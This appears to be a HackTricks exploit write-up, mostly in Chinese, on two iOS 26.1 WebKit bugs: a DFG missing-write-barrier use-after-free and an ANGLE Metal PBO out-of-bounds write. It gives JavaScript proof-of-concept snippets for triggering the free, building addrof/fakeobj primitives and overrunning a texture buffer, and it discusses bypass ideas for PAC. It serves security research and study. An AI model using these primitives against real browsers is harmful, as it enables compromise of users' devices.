WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Summary
- DFG Store Barrier bug (CVE-2025-43529): 在
DFGStoreBarrierInsertionPhase.cpp中,Phi node 被标记为 escaped 而其 Upsilon inputs 没有,导致该阶段在后续对象存储上跳过插入 write barrier。在 GC 压力下,这会让 JSC 释放仍可达的对象 → use-after-free。 - Exploit target: 强制一个 Date 对象物化 butterfly(例如
a[0] = 1.1),使 butterfly 被释放,然后被作为数组元素存储 reclaimed,以构建 boxed/unboxed 混淆 →addrof/fakeobj原语。 - ANGLE Metal PBO bug (CVE-2025-14174): Metal backend 使用
UNPACK_IMAGE_HEIGHT来分配 PBO staging buffer,而不是使用真实的纹理高度。提供很小的 unpack height 然后执行大的texImage2D会导致 staging-buffer OOB write(在下面的 PoC 中约 ~240KB)。 - PAC blockers on arm64e (iOS 26.1): TypedArray 的
m_vector和 JSArray 的butterfly是 PAC-signed;用攻击者选定的指针伪造 fake objects 会触发EXC_BAD_ACCESS/EXC_ARM_PAC崩溃。只有重用 already-signed butterflies(通过 boxed/unboxed 重新解释)才可行。
Triggering the DFG missing barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
要点:
- 将 A 放入 old space 以触发代际屏障。
- 创建一个有索引的 Date,使 butterfly 成为被释放的目标。
- 喷洒
ArrayBuffer(0x800000)来强制 GC 并扩大竞争窗口。 - Phi/Upsilon 的逃逸不匹配阻止了 barrier 的插入;
b.p1 = a在 没有写屏障 的情况下运行,因此 GC 回收了a/butterfly。
Butterfly reclaim → boxed/unboxed confusion
在 GC 释放 Date 的 butterfly 之后,喷洒数组,使被释放的 slab 被重用为两个具有不同元素种类的数组的 elements:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status on iOS 26.1 (arm64e):
- Working:
addrof,fakeobj,每次运行 20+ 个地址 leak,inline-slot read/write(针对已知 inline 字段)。 - Not stable yet: generalized
read64/write64via inline-slot backings 尚不稳定。
PAC constraints on arm64e (why fake objects crash)
- TypedArray
m_vector和 JSArraybutterfly是 PAC 签名的;伪造指针会导致EXC_BAD_ACCESS/ 很可能为EXC_ARM_PAC。 - The confusion primitive 起作用是因为它 重用合法的已签名 butterflies;引入未签名的攻击者指针会导致验证失败。
- 记录的潜在绕过思路:跳过认证的 JIT 路径、为攻击者指针签名的 gadgets,或通过 ANGLE OOB 做 pivot。
ANGLE Metal PBO under-allocation → OOB write
Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
备注:
- 在
TextureMtl.cpp中的一个 bug:暂存缓冲区在 PBO 路径上使用了UNPACK_IMAGE_HEIGHT,而不是实际的纹理高度。 - 在参考探测中,WebGL2 PBO 触发已接通,但在 iOS 26.1 上尚未可靠观测到。
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


